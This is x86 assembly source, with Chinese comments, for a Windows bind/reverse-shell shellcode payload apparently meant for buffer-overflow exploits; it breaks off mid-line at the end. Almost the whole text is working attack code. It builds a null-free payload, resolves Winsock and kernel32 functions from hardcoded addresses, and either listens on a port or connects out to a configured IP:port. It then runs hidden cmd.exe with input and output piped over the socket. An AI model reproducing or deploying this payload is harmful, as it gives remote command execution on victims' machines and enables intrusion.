SECURITY_ATTRIBUTES struct
nLength DD 0;
lpSecurityDescriptor DD 0;
bInheritHandle DD 0;
SECURITY_ATTRIBUTES ends;

FUNC_PARAM_1 equ [ebp+8]
FUNC_PARAM_2 equ [ebp+0ch]
FUNC_PARAM_3 equ [ebp+10h]
FUNC_PARAM_4 equ [ebp+14h]
FUNC_PARAM_5 equ [ebp+18h]
FUNC_PARAM_6 equ [ebp+1ch]
FUNC_PARAM_7 equ [ebp+20h]

SO_RCVTIMEO equ 1006h ;// receive timeout
SOL_SOCKET equ 0ffffh ;// options for socket level

Shell_Cmd_Pipe_OFFSET equ 3f0h
SkOverflowFuncAddr_OFFSET equ 2d0h
szShellNeedFunc_OFFSET equ 1d0h

.code
public _sk_Bind_ConnectShellCode
public _GetDataSetOffset_Value
start:
_sk_Bind_ConnectShellCode proc
push ebp;
mov ebp, esp;
;//产生 0x800的堆栈 空间.
xor eax,eax;
inc eax;
shl eax, 0bh; //=>0x800
sub esp, eax;

jmp call_back;
nop;
jump_next:
jmp run_actual1;
call_back:
call jump_next;
call_back_Data_Offset:
;//jmp quit_return; //not run here as no necessary.
;//(void *ptr, int iLen, DWORD dwOld, DWORD dwNew)
_Convert_Add_Sign_To_Null_Sign:
push ebp;
mov ebp, esp;

push edi;
push ecx;
push eax;
push edx;

mov edi, FUNC_PARAM_1; //第1个参数.
mov ecx, FUNC_PARAM_2; //第2个参数.
mov eax, FUNC_PARAM_3; //第3个参数.
mov edx, FUNC_PARAM_4; //第4个参数.

;//重复查找,替换,直到cx = 0
NextAddSign:
repnz scasb;
jcxz Finish_Replace_Add_Sign;

dec edi;
mov byte ptr [edi], dl;
inc ecx;
jmp NextAddSign;
Finish_Replace_Add_Sign:
pop edx;
pop eax;
pop ecx;
pop edi;

pop ebp;
ret;
;//转换eax的long -> ax 标准word.
;//rule: 1.高位 =1, 低位为普通value.
;// 2.高位 = 2, 低位 应该 = value -1
_convert_Sk_Long_To_Ansi_Word:
push ebx;
push ecx;
push edx;

xor edx, edx;

push eax; //低位 ->ebx
pop ebx;
shr ebx, 10h;

push eax; //高位 -> ecx
pop ecx;
_Convert_bx_To_al_Short:
;//处理ebx.
cmp bh, 1;
je _convert_Sk_Long_IsNormal;
dec bl;

_convert_Sk_Long_IsNormal:
mov al, bl;

test edx, edx;
jnz Finish_Convert_Next_Bit;

shl eax, 8;
push ecx;
pop ebx;

inc edx;
jmp _Convert_bx_To_al_Short

Finish_Convert_Next_Bit:
pop edx;
pop ecx;
pop ebx;
ret;
run_actual1:
jmp run_actual2;
;//从 szShellNeedFunc 取得 SkOverflowFuncAddr的地址
;//void _Get_Overflow_Addr_From_Shell_Func( void *SkOverflowFuncAddr,
;// char *ShellNeedFuncStr,
;// DWORD dwGetModuleHandleAddr,
;// DWORD dwGetProcAddr)
;
_Get_Overflow_Addr_From_Shell_Func:
push ebp;
mov ebp, esp;

push esi;
push edi;
push edx;
push ecx;
push ebx;
push eax;

mov edi, FUNC_PARAM_1; //第1个参数
mov esi, FUNC_PARAM_2; //第2个参数

xor ebx,ebx;
xor ecx,ecx;
mov cl,SHELL_NEED_FUNC_BODY_OFFSET;
add esi, ecx; //esi = szShellCodeNeedFunc+SHELL_NEED_FUNC_BODY_OFFSET

mov cl, byte ptr [esi];
inc esi;
_NextDllNameToLoad:
push ecx;

mov bl, byte ptr [esi];
inc esi; //skip size.

push esi;

mov eax, FUNC_PARAM_3; //第3个参数.
;//mov eax, GetModuleHandleA_Addr; //GetModuleHandleA

call eax;

add esi, ebx; //go to next address.
;//现在,esi指向 函数 数目.
xor ecx, ecx;
mov cl, byte ptr [esi];
inc esi;

;//现在,load每个function.
_NextFunction_Addr:
push ecx;

;//取字符串的大小
mov bl, byte ptr [esi];
inc esi;

push eax;
push esi;

push esi; //procName
push eax; //module

mov ecx, FUNC_PARAM_4; //第3个参数.
;//mov eax, GetModuleHandleA_Addr; //GetModuleHandleA
call ecx;

mov dword ptr [edi], eax;
add edi, 4;

pop esi;
pop eax;

add esi, ebx; //指针移动到下一个字符串.

pop ecx;
loop _NextFunction_Addr;

pop ecx;
loop _NextDllNameToLoad;


pop eax;
pop ebx;
pop ecx;
pop edx;
pop edi;
pop esi;

pop ebp;
ret;
run_actual2:
jmp run_actual3_1;
;//创建 一个管套,监听一个端口,返回该管套.
;//SOCKET _Create_Bind_Connect_Socket_To_Port( SkOverflowFuncAddr *pFuncAddr, szShellNeedFunc *pNeedFunc);
_Create_Bind_Connect_Socket_To_Port:
push ebp;
mov ebp, esp;

xor eax, eax; //开辟0xff(256)个byte的变量区域.
mov ax, 3f0h
sub esp, eax;

push esi;
push edi;
push edx;
push ecx;
push ebx;

mov esi, FUNC_PARAM_1; //第一个参数.

;//WSAStartup(werd,&wsd);
lea edi, [ebp-340h]; //开辟个空间做临时变量.
xor eax, eax;
mov al,2;
push edi;
push eax;
mov eax, [esi+SkOverflowFuncAddr.WSAStartup];
call eax;

;//msocket = socket( AF_INET, SOCK_STREAM, 0); = (2,1,0)
xor eax, eax;
push eax;
inc eax;
push eax;
inc eax;
push eax;

mov eax, [esi+SkOverflowFuncAddr.socket];
call eax;

;//取连结类型
mov edx, FUNC_PARAM_2;
lea ebx, [edx+stConnectInfo.byConnectType];
mov cl, BYTE PTR [ebx];

push eax;
;//准备参数 SOCKADDR_IN
lea edi, [ebp-0f0h]; //现在是sockaddr_in的地址.
lea ebx, [edi + SOCKADDR_IN.sin_family];
xor eax, eax;
mov al,2;
mov word ptr [ebx], ax; //SOCKADDR_IN.sin_family = AF_INET
pop eax;

;//现在寄存器状况..
;//edi --- 临时变量 sockaddr_in, (sin_family = AF_INET 被赋值)
;//edx --- 参数2 stConnectInfo 连结信息
;//eax --- 创建的管套 newsocket.
;//esi --- 参数1 SkOverflowFuncAddr 函数地址.

cmp cl,1 ;//是监听吗?
jne _IsConnectToIP; //no. 跳转.

push eax; // <-2@

;//取得端口value.
push eax; // <-1@

mov eax, [edx+stConnectInfo.dwListenPort];
call _convert_Sk_Long_To_Ansi_Word;
mov ecx, eax;
xchg ch,cl; //port = htons(port)

pop eax; // ->1@

lea ebx, [edi + SOCKADDR_IN.sin_port];
mov edx, FUNC_PARAM_2; //第2个参数.
mov word ptr [ebx], cx; //SOCKADDR_IN.sin_port = port.

xor eax, eax;
lea ebx, [edi + SOCKADDR_IN.sin_addr];
mov dword ptr [ebx], eax; //SOCKADDR_IN.sin_addr.S_un.S_addr = INADDR_ANY

pop eax; // ->2@
push eax; //<-3@

;//bind( msocket, (SOCKADDR *)&addrin, sizeof(addrin));
xor ecx, ecx;
mov cl, size sockaddr_in;
push ecx;
push edi;
push eax;

mov eax, [esi+SkOverflowFuncAddr.bind];
call eax;
;//下面的跳转,用来消去 距离太远造成的0. 对源程序没有影响的代码.
jmp _temp_1;

run_actual3_1:
jmp run_actual3_2;

_temp_1:

pop eax; //->3@
push eax; //<-4@

;//listen( msocket, 1);
xor ecx, ecx;
inc ecx;

push ecx;
push eax;

mov eax, [esi+SkOverflowFuncAddr.listen];
call eax;

pop eax; //->4@
push eax; //<-5@

;//newsocket = accept( msocket, (SOCKADDR*)&addrin, &iLen);
xor ecx, ecx;
mov cl, size sockaddr_in;
lea edi, [ebp-0c0h];
mov [edi], ecx;
push edi; //iLen = sizeof(addrin);
lea edi, [ebp-0f0h];
push edi; //&SOCKADDR_IN 结构.
push eax;

mov eax,[esi+SkOverflowFuncAddr.accept];
call eax;

pop edx; //->5@ //用来listen的socket.由eax->edx

push eax; //<-6@ //得到新的连结管套..

;//关闭 用来 listen的socket.
;//closesocket( msocket);
push edx;
mov eax, [esi+SkOverflowFuncAddr.closesocket];
call eax;

pop eax; //->6@

cmp eax, -1;
je WSocket_QuitRightNow;

jmp Finish_Get_Connection_Socket;

_IsConnectToIP: ;//连接到一个ip:port
;//addrin.sin_family = AF_INET;
;//addrin.sin_addr.S_un.S_addr = 0x0100007f;
;//addrin.sin_port = 0x8b; //139.

;//connect( socket, (SOCKADDR*)&addrin, sizeof(addrin));
;//准备参数 SOCKADDR_IN
;//现在寄存器状况..
;//edi --- 临时变量 sockaddr_in, (sin_family = AF_INET 被赋值)
;//edx --- 参数2 stConnectInfo 连结信息
;//eax --- 创建的管套 newsocket.
;//esi --- 参数1 SkOverflowFuncAddr 函数地址.

;//取得端口value.
push eax; //<-1@

mov eax, [edx+stConnectInfo.dwConnectPort];
call _convert_Sk_Long_To_Ansi_Word;
mov ecx, eax;
xchg ch,cl; //port = htons(port)

lea ebx, [edi + SOCKADDR_IN.sin_port];
mov word ptr [ebx], cx; //SOCKADDR_IN.sin_port = port.

;//下面的跳转,用来消去 距离太远造成的0. 对源程序没有影响的代码.
jmp _temp_1_1;

run_actual3_2:
jmp run_actual3;

_temp_1_1:

mov eax, [edx+stConnectInfo.dwIP1];
call _convert_Sk_Long_To_Ansi_Word;
mov ecx, eax;
shl ecx, 10h;
mov eax, [edx+stConnectInfo.dwIP2];
call _convert_Sk_Long_To_Ansi_Word;
mov cx, ax;
lea ebx, [edi + SOCKADDR_IN.sin_addr];
mov dword ptr [ebx], ecx; //SOCKADDR_IN.sin_addr.S_un.S_addr = stConnectInfo.dwIP1 + dwIP2

pop eax; //->1@
push eax; //<-2@

;//connect(msocket, addr, 0x10);
xor ecx, ecx;
mov cl, 10h;
push ecx; //sizeof(SOCKADDR_IN);
push edi; //SOCKADDR *
push eax; //msocket.
mov eax, [esi+SkOverflowFuncAddr.connect];
call eax; //connect.

mov ecx, eax;
pop eax; //->2@
jcxz Finish_Get_Connection_Socket; //connect success.
nop;

;//now, connect failure.
;//closesocket(eax)
push eax;
mov eax, [esi+SkOverflowFuncAddr.closesocket];
call eax;

xor eax, eax;
jmp WSocket_QuitRightNow;

Finish_Get_Connection_Socket:
push eax;

push eax;
pop edx; //edx = eax

;// setsockopt( newsocket, SOL_SOCKET, SO_RCVTIMEO, (LPCTSTR)&iLen, sizeof(iLen));
lea edi, [ebp-0f0h];
xor eax, eax;
mov al, 1;
mov [edi], eax;
shl eax, 2; //eax = 4

push eax;
push edi;
mov ax, SO_RCVTIMEO;
push eax;
mov ax, SOL_SOCKET;
push eax;
push edx;

mov eax, [esi+SkOverflowFuncAddr.setsockopt];
call eax;

pop eax;
WSocket_QuitRightNow:
;//返回结果.
pop ebx;
pop ecx;
pop edx;
pop edi;
pop esi;

mov esp, ebp;

pop ebp;
ret;
run_actual3:
jmp run_actual4_1;
;//在管套 pipe 上,运行进程 pStrCmd;
;//_Create_Process_To_Handle( SkOverflowFuncAddr *pFuncAddr, Shell_Cmd_Pipe *pCmdPipe, LPCTSTR *pStrCmd);
_Create_Process_To_Handle:
push ebp;
mov ebp, esp;

push edi;
push esi;
push edx;
push ecx;
push ebx;
push eax;

mov edi, FUNC_PARAM_2; //Shell_Cmd_Pipe *pCmdPipeData;

push edi;
pop edx; //edx = edi;
;//memset( &si, 0, sizeof(STARTUPINFO));
xor eax, eax;
lea edi, [edi +Shell_Cmd_Pipe.nstartupinfo];
push edi; //edi = &STARTUPINFO; ---
xor ecx, ecx;
mov cl, size STARTUPINFO;
rep stosb;

pop edi; // ---

;//si.cb = sizeof(STARTUPINFO);
lea esi, [edi + STARTUPINFO.cb];
mov cl, size STARTUPINFO;
mov [esi], ecx;
;//si.wShowWindow = SW_HIDE = 0; //need to do nothing.
;//si.dwFlags = STARTF_USESTDHANDLES|STARTF_USESHOWWINDOW;
lea esi, [edi + STARTUPINFO.dwFlags];
mov cx, 101h;
mov [esi], ecx;
;//si.hStdInput = ShellStdinPipe;
push edi;
lea edi, [edi + STARTUPINFO.hStdInput];
lea esi, [edx + Shell_Cmd_Pipe.ShellStdinPipe];
mov eax, [esi];
mov [edi], eax;
pop edi;
;//si.hStdOutput = ShellStdoutPipe;
push edi;
lea edi, [edi+STARTUPINFO.hStdOutput];
lea esi, [edx+Shell_Cmd_Pipe.ShellStdoutPipe];
mov eax, [esi];
mov [edi], eax;
pop edi;

;// DuplicateHandle( GetCurrentProcess(), ShellStdoutPipe, GetCurrentProcess(),
;// &(si.hStdError),DUPLICATE_SAME_ACCESS, TRUE, 0);
mov esi, FUNC_PARAM_1;
mov eax, [esi+SkOverflowFuncAddr.GetCurrentProcess];
call eax;

xor ecx, ecx;
push ecx; //0
inc ecx;
push ecx; //TRUE
inc ecx;
push ecx; //DUPLICATE_SAME_ACCESS
lea edx, [edi+STARTUPINFO.hStdError];
push edx; //&(si.hStdError)
push eax; //GetCurrentProcess();

push esi;
mov esi, FUNC_PARAM_2;
lea esi, [esi+Shell_Cmd_Pipe.ShellStdoutPipe];
mov ebx, [esi];
pop esi;

;//下面的跳转,用来消去 距离太远造成的0. 对源程序没有影响的代码.
jmp _temp_2;

run_actual4_1:
jmp run_actual4;

_temp_2:

push ebx; //ShellStdoutPipe
push eax; //GetCurrentProcess();

mov eax, [esi+SkOverflowFuncAddr.DuplicateHandle];
call eax;

;// CreateProcess( NULL, ""cmd.exe"", NULL, NULL, TRUE, 0,
;// NULL, NULL, &si, &ProcessInformation )
xor eax, eax;
mov edi, FUNC_PARAM_2;
lea edx, [edi+Shell_Cmd_Pipe.ProcessInformation];
push edx; ;//&ProcessInformation
lea edx, [edi+Shell_Cmd_Pipe.nstartupinfo];
push edx; ;//&si
push eax; ;//NULL;
push eax; ;//NULL;
push eax; ;//0;
inc eax;
push eax; ;//TRUE;
dec eax;
push eax; ;//NULL;
push eax; ;//NULL;
mov edx, FUNC_PARAM_3;
push edx; ;//LPCTSTR lpszCommand.
push eax; ;//NULL;

mov eax, [esi+SkOverflowFuncAddr.CreateProcessA];
call eax;

;//CloseHandle( ShellStdinPipe);
mov eax, [edi+Shell_Cmd_Pipe.ShellStdinPipe];
push eax;
mov eax, [esi+SkOverflowFuncAddr.CloseHandle];
call eax;
;//CloseHandle( ShellStdoutPipe);
mov eax, [edi+Shell_Cmd_Pipe.ShellStdoutPipe];
push eax;
mov eax, [esi+SkOverflowFuncAddr.CloseHandle];
call eax;

pop eax;
pop ebx;
pop ecx;
pop edx;
pop esi;
pop edi;

mov esp, ebp;
pop ebp;
ret;
;//memset( &si, 0, sizeof(STARTUPINFO));
run_actual4:
jmp run_actual5;
;//关闭不再用的管套
;//_Close_All_Communication_Pipe(SkOverflowFuncAddr *pFuncAddr, Shell_Cmd_Pipe *pCmdPipe);
_Close_All_Communication_Pipe:
push ebp;
mov ebp, esp;

push esi;
push edi;
push edx;
push ecx;
push ebx;
push eax;

mov esi, FUNC_PARAM_1;
mov edi, FUNC_PARAM_2;

;//closesocket(msocket);
mov eax, [edi+Shell_Cmd_Pipe.msocket];
push eax;
mov eax, [esi+SkOverflowFuncAddr.closesocket];
call eax;

;//closehandle(handle)..
mov eax, [edi+Shell_Cmd_Pipe.hReadPipe];
push eax;
mov eax, [esi+SkOverflowFuncAddr.CloseHandle];
call eax;

;//closehandle(handle)..
mov eax, [edi+Shell_Cmd_Pipe.hWritePipe];
push eax;
mov eax, [esi+SkOverflowFuncAddr.CloseHandle];
call eax;

pop eax;
pop ebx;
pop ecx;
pop edx;
pop edi;
pop esi;

mov esp, ebp;
pop ebp;
ret;
run_actual5:
jmp run_actual6_1;
;//接受管套的数据,写进pipe,读pipe,发送到socket.
;//_Recv_Write_Socket_Pipe( SkOverflowFuncAddr *pFuncAddr, Shell_Cmd_Pipe *pCmdPipe);
_Recv_Write_Socket_Pipe:
push ebp;
mov ebp, esp;

xor eax, eax;
mov ax, 2f0h;
sub esp, eax; // 496bytes, use for char szTemp[240];

push esi;
push edi;
push edx;
push ecx;
push ebx;

mov esi, FUNC_PARAM_1; //SkOverflowFuncAddr *pAddr;
mov edi, FUNC_PARAM_2; //Shell_Cmd_Pipe *pCmdPipeData;

;//dwBreak = 1
lea edx, [ebp - size Recv_Write_Socket_Pipe_Data + Recv_Write_Socket_Pipe_Data.dwBreak];
xor eax, eax;
inc eax;
mov [edx], eax;
;//while(!bBreak)
_While_Read_Data_Loop:
;//监测 dwBreak == 0?
lea edx, [ebp- size Recv_Write_Socket_Pipe_Data +Recv_Write_Socket_Pipe_Data.dwBreak];
mov eax, [edx];
test eax, eax;
jz _Quit_While_Read_Data_Loop_1;

;//iLen = recv( newsocket, szTemp, sizeof(szTemp)-1, 0);
xor eax, eax;
push eax;
mov al, SIZE_OF_TEMP_BUFFER;
push eax;
lea eax, [ebp- size Recv_Write_Socket_Pipe_Data +Recv_Write_Socket_Pipe_Data.szTemp];
push eax;

lea ebx, [edi+Shell_Cmd_Pipe.msocket];
mov eax, [ebx];
push eax;

mov eax, [esi+SkOverflowFuncAddr.recv];
call eax;

cmp eax, -1;
jne _NextStep_Receive_Test;

push eax;
pop edx;

mov eax, [esi+SkOverflowFuncAddr.GetLastError];
call eax;

cmp ax, 10060; //timeout?
je _Read_StdoutPipe;

_Quit_While_Read_Data_Loop_1:
jmp _Quit_While_Read_Data_Loop; //error.
_NextStep_Receive_Test:
test eax, eax; //eax == 0?
je _Quit_While_Read_Data_Loop; //break;

jng _Read_StdoutPipe;

;//Receive_Ok_Occure:
;//if( iLen > 0)
;//WriteFile( hWritePipe, szTemp, iLen, &dwTemp, NULL)
xor edx, edx;
push edx; //NULL
lea ebx, [ebp- size Recv_Write_Socket_Pipe_Data +Recv_Write_Socket_Pipe_Data.dwTemp];
push ebx; //&dwTemp
push eax; //iLen
lea ebx, [ebp- size Recv_Write_Socket_Pipe_Data +Recv_Write_Socket_Pipe_Data.szTemp];
push ebx; //szTemp;
mov eax, [edi+Shell_Cmd_Pipe.hWritePipe];
push eax;

mov eax, [esi+SkOverflowFuncAddr.WriteFile];
call eax;

test eax, eax;
jz _Quit_While_Read_Data_Loop; //WriteFile(..) == 0, 失败,管套中断.

;//下面的跳转,用来消去 距离太远造成的0. 对源程序没有影响的代码.
jmp _temp_3;

run_actual6_1:
jmp run_actual6;

_temp_3:

_Read_StdoutPipe:
;//PeekNamedPipe(hReadPipe,NULL,0,NULL,&dwTemp,NULL );
xor eax, eax;
push eax; //NULL
lea edx, [ebp- size Recv_Write_Socket_Pipe_Data +Recv_Write_Socket_Pipe_Data.dwTemp];
push edx; //&dwTemp
push eax; //NULL
push eax; //0
push eax; //NULL
mov eax, [edi+Shell_Cmd_Pipe.hReadPipe];
push eax; //hReadPipe

mov eax, [esi+SkOverflowFuncAddr.PeekNamedPipe];
call eax;

mov eax, [ebp- size Recv_Write_Socket_Pipe_Data +Recv_Write_Socket_Pipe_Data.dwTemp];
test eax, eax;
jz _No_Data_To_Read_Yet;

;//ReadFile( hReadPipe, szTemp, sizeof(szTemp), &dwTemp, NULL)
xor eax, eax;
push eax; //NULL
lea edx, [ebp- size Recv_Write_Socket_Pipe_Data +Recv_Write_Socket_Pipe_Data.dwTemp];
push edx; //&dwTemp
mov al, SIZE_OF_TEMP_BUFFER;
push eax; //sizeof(szTemp);
lea edx, [ebp- size Recv_Write_Socket_Pipe_Data +Recv_Write_Socket_Pipe_Data.szTemp];
push edx; //szTemp;
mov eax, [edi+Shell_Cmd_Pipe.hReadPipe];
push eax; //hReadPipe

mov eax, [esi+SkOverflowFuncAddr.ReadFile];
call eax; //ReadFile.

;//if( ReadFile (...) == 0)? then quit.
test eax, eax;
je _Quit_While_Read_Data_Loop;

;//send( newsocket, szTemp, dwTemp, 0);
xor eax, eax;
push eax; //0
mov eax, [ebp- size Recv_Write_Socket_Pipe_Data +Recv_Write_Socket_Pipe_Data.dwTemp];
push eax; //dwTemp;
lea edx, [ebp- size Recv_Write_Socket_Pipe_Data +Recv_Write_Socket_Pipe_Data.szTemp];
push edx; //szTemp;
mov eax, [edi+Shell_Cmd_Pipe.msocket];
push eax; //socket.

mov eax, [esi+SkOverflowFuncAddr.send];
call eax;

cmp eax, -1;
je _Quit_While_Read_Data_Loop;

jmp _Read_StdoutPipe; //continue to read next data.
_No_Data_To_Read_Yet:
jmp _While_Read_Data_Loop;

_Quit_While_Read_Data_Loop:

pop ebx;
pop ecx;
pop edx;
pop edi;
pop esi;

mov esp, ebp;
pop ebp;
ret;
run_actual6:
jmp run_actual;
;//BOOL _Create_Two_Pipe( SkOverflowFuncAddr *pFuncAddr, Shell_Cmd_Pipe *pCmdPipe);
_Create_Two_Pipe:
push ebp;
mov ebp, esp;

xor eax, eax;
mov al, 0f0h;
sub esp, eax; //开辟空间

push esi;
push edi;
push edx;
push ecx;
push ebx;

mov esi, FUNC_PARAM_1;
mov edi, FUNC_PARAM_2;

xor ebx,ebx;
lea edi, [ebp-10h];

;//SecurityAttributes.lpSecurityDescriptor = NULL; //default ACL
lea edx, [edi+SECURITY_ATTRIBUTES.lpSecurityDescriptor];
mov [edx], ebx;
;//SecurityAttributes.bInheritHandle = TRUE; //will inherit handle
lea edx, [edi+SECURITY_ATTRIBUTES.bInheritHandle];
inc ebx;
mov [edx], ebx;
;//SecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES);
lea edx, [edi+SECURITY_ATTRIBUTES.nLength];
mov bl, size SECURITY_ATTRIBUTES;
mov [edx], ebx;

xor ebx, ebx;
;//bResult = CreatePipe( &hReadPipe, &ShellStdoutPipe, &SecurityAttributes, 0);output into _FUNC_PARAM_2''s variables.

push edi; //save.

push ebx; //0
push edi; //&SecurityAttributes

mov edi, FUNC_PARAM_2;
lea edx, [edi+Shell_Cmd_Pipe.ShellStdoutPipe];
mov [edx], ebx; //ShellStdoutPipe = 0;
push edx; //&ShellStdoutPipe
lea edx, [edi+Shell_Cmd_Pipe.hReadPipe];
push edx;; //&hReadPipe
mov eax, [esi+SkOverflowFuncAddr.CreatePipe];
call eax;

pop edi; //restore.

test eax, eax;
je _Create_Pipe_Quit_Error;

;//Create Second Pipe.
;//CreatePipe( &ShellStdinPipe, &hWritePipe, &SecurityAttributes, 0);
xor ebx, ebx;

push ebx; //0
push edi; //&SecurityAttributes

mov edi, FUNC_PARAM_2;
lea edx, [edi+Shell_Cmd_Pipe.hWritePipe];
push edx; //&hWritePipe
lea edx, [edi+Shell_Cmd_Pipe.ShellStdinPipe];
mov [edx],ebx;
push edx; //&ShellStdinPipe

mov eax, [esi+SkOverflowFuncAddr.CreatePipe];
call eax;

test eax, eax;
je _Create_Pipe_Quit_Error;

xor eax, eax;
inc eax;
jmp _Create_Pipe_Quit;

_Create_Pipe_Quit_Error:
xor eax, eax;
jmp _Create_Pipe_Quit;
nop;

_Create_Pipe_Quit:
pop ebx;
pop ecx;
pop edx;
pop edi;
pop esi;

mov esp, ebp;
pop ebp;
ret;
run_actual:
lea esi, [esp];
mov esi, [esi]; //ebx 是调用代码的地址
xor ecx, ecx;
mov cx,MyDataOffset;
add esi, ecx; //esx 是未来 数据的地址.

;//ebp-0x2ff 处,是 szShellNeedFunc结构.
lea edi, [ebp - szShellNeedFunc_OFFSET];
push edi;

;//MyDebugAdd -----
mov cx, _size_AllData;
rep movsb;

;//还要包括 连接信息结构 的数据
pop edi;
push edi;

;//将''+''转换成 ""x00""
;//void _Convert_Add_Sign_To_Null_Sign(void *ptr, int iLen, DWORD dwOld, DWORD dwNew);
xor ecx, ecx;
push ecx; //---参数4
mov cl, ''+'';
push ecx; //---参数3
mov cx, _size_szShellNeedFunc;
push ecx; //---参数2
xor ebx, ebx;
mov bl, String_Of_Data_Offset;
add edi, ebx; //edi指向 真正的 szShellNeedFunc
push edi; //---参数1

call _Convert_Add_Sign_To_Null_Sign;
add esp, 10h;

;//从 szShellNeedFunc 取得 SkOverflowFuncAddr的地址
;//void _Get_Overflow_Addr_From_Shell_Func( SkOverflowFuncAddr *pSkOverflowFuncAddr, char *ShellNeedFuncStr, DWORD dwGetModuleHandleAddr, DWORD GetProcAddr)
xor ecx, ecx;
mov cx, _GetModuleHandle_Addr_Offset;
mov esi, edi;
add esi, ecx;
mov eax, [esi+4]
push eax; ;//GetProcAddress_Addr
mov eax, [esi];
push eax; ;//GetModuleHandle_Addr

push edi;
;//ebp-0x1ff处,是 SkOverflowFuncAddr结构.
lea esi, [ebp-SkOverflowFuncAddr_OFFSET];
push esi;
call _Get_Overflow_Addr_From_Shell_Func;
add esp, 10h;

pop edi;
;//创建 一个管套,监听一个端口/连接到一个ip:port,返回该管套.
;//SOCKET _Create_Bind_Connect_Socket_To_Port( SkOverflowFuncAddr *pFuncAddr, szShellNeedFunc *pNeedFunc);
push edi;
push esi;
call _Create_Bind_Connect_Socket_To_Port;
add esp, 8;

test eax, eax;
jz Main_Quit_Now; //socket 失败.

lea edi, [ebp-Shell_Cmd_Pipe_OFFSET];
lea ebx, [edi + Shell_Cmd_Pipe.msocket];
mov [ebx], eax; //保存结果到 msocket中.

;//BOOL _Create_Two_Pipe( SkOverflowFuncAddr *pFuncAddr, Shell_Cmd_Pipe *pCmdPipe);
;//创建2个pipe,用来绑定shell.
push edi;
push esi;
call _Create_Two_Pipe;
add esp, 8;

test eax, eax;
jz Main_Quit_Now;

;//now is ok.
;//在管套 pipe 上,运行进程 pStrCmd;
;//_Create_Process_To_Handle( SkOverflowFuncAddr *pFuncAddr, Shell_Cmd_Pipe *pCmdPipe, LPCTSTR *pStrCmd);
lea edi, [ebp-szShellNeedFunc_OFFSET];
xor eax,eax;
mov al, String_Of_Data_Offset; //cmd.exe命令行在数据中的偏移.
add edi, eax;
push edi; //""cmd.exe""的指针
lea edi, [ebp-Shell_Cmd_Pipe_OFFSET];
push edi;
push esi;
call _Create_Process_To_Handle;
add esp, 0ch;

;//接受管套的数据,写进pipe,读pipe,发送到socket.
;//_Recv_Write_Socket_Pipe( SkOverflowFuncAddr *pFuncAddr, Shell_Cmd_Pipe *pCmdPipe);
push edi;
push esi;
call _Recv_Write_Socket_Pipe;
add esp, 8;

;//关闭不再用的管套
;//_Close_All_Communication_Pipe(SkOverflowFuncAddr *pFuncAddr, Shell_Cmd_Pipe *pCmdPipe);
push edi;
push esi;
call _Close_All_Communication_Pipe
add esp, 8;

;//关闭该进程
xor eax, eax;
push eax;
lea edx, [edi+Shell_Cmd_Pipe.ProcessInformation];
mov eax, [edx+PROCESS_INFORMATION.hProcess];
push eax;

mov eax, [esi+SkOverflowFuncAddr.TerminateProcess];
call eax;

Main_Quit_Now: ;//现在推出..
;//exit now.
xor eax, eax;
push eax;
mov eax, [esi+ SkOverflowFuncAddr.ExitProcess];
call eax;

ret;
;//quit_return:
;//恢复堆栈
mov esp,ebp;
pop ebp;
nop;
nop;

;//下面是数据:
MyDataOffset equ $-call_back_Data_Offset; //call 函数,到这里的距离.

ConnectTypeOffset equ $-start;
ListenPortOffset equ ConnectTypeOffset+stConnectInfo.dwListenPort;
ConnectIP1Offset equ ConnectTypeOffset+stConnectInfo.dwIP1;
ConnectIP2Offset equ ConnectTypeOffset+stConnectInfo.dwIP2;
ConnectPortOffset equ ConnectTypeOffset+stConnectInfo.dwConnectPort;

MyConnectInfo stConnectInfo < 2, 0ffh, 0ffffh, 02010151h, 01250201h, 01a801c0h, 02010158h>

String_Of_Data_Offset equ $-MyConnectInfo;
ExecCommandOffset equ $-start;

szShellNeedFunc db ''cmd.exe+++++++++''
db ''++++++++++++++++''
db ''++++++++++++++++''
db ''++++++++++++++++''
db ''++++++++++++++++''
db ''++++++++++++++++''
db ''++++++++++++++++''
db ''++++++++++++++++''

;//下面是函数信息.
SHELL_NEED_FUNC_BODY_OFFSET equ $-szShellNeedFunc;//这个是shell函数和dll的偏移

db 02h
db 0eh, ''kernel32.dll+'', ''+''
db 0eh
db 11h, ''TerminateProcess'', ''+''
db 0bh, ''CreatePipe'', ''+''
db 10h, ''GetStartupInfoA'', ''+''
db 0fh, ''CreateProcessA'', ''+''
db 0eh, ''PeekNamedPipe'', ''+''
db 0ch, ''GlobalAlloc'', ''+''
db 0bh, ''WriteFile'', ''++''
db 09h, ''ReadFile'', ''+''
db 06h, ''Sleep'', ''+''
db 0ch, ''ExitProcess'', ''+''
db 0eh, ''GetLastError+'', ''+''
db 10h, ''DuplicateHandle'', ''+''
db 12h, ''GetCurrentProcess'', ''+''
db 0ch, ''CloseHandle'',''+''
db 0bh, ''ws2_32.dll'', ''+''
db 0bh
db 07h, ''socket'', ''+''
db 05h, ''bind'', ''+''
db 07h, ''listen'', ''+''
db 07h, ''accept'', ''+''
db 05h, ''send'', ''+''
db 05h, ''recv'', ''+''
db 0bh, ''setsockopt'', ''+''
db 0bh, ''WSAStartup'', ''+''
db 0ch, ''closesocket'', ''+''
db 08h, ''connect'', ''+''
db 0ch, ''gethostname'', ''+''
db ''+++++++++++++++++++++''

_GetModuleHandle_Addr_Offset equ $-szShellNeedFunc
GetModuleHandleOffset equ $-start;

GetModuleHandleA_Addr dd 77e756dbh

GetProcAddressOffset equ $-start;
GetProcAddressA_Addr dd 77e7564bh

_size_szShellNeedFunc equ $-szShellNeedFunc+1
_size_AllData equ $-MyConnectInfo+1

_sk_Bind_ConnectShellCode endp

db ''---------------------------------------------------------''
;//重要数据在代码中的偏移
stDataSetOffset struct
dwConnectType DD 0;
dwListenPort DD 0;
dwConnectIP1 DD 0;
dwConnectIP2 DD 0;
dwConnectPort DD 0;

dwExecCommand DD 0;
wSizeExecCommand DW 0;
wReserv1 DW 0
dwGetModuleHandle DD 0;
dwGetProcAddress DD 0;
stDataSetOffset ends

_GetDataSetOffset_Value proc
push ebp;
mov ebp, esp;

push esi;
push edi;
push edx;
push ecx;
push ebx;
push eax;

mov esi, FUNC_PARAM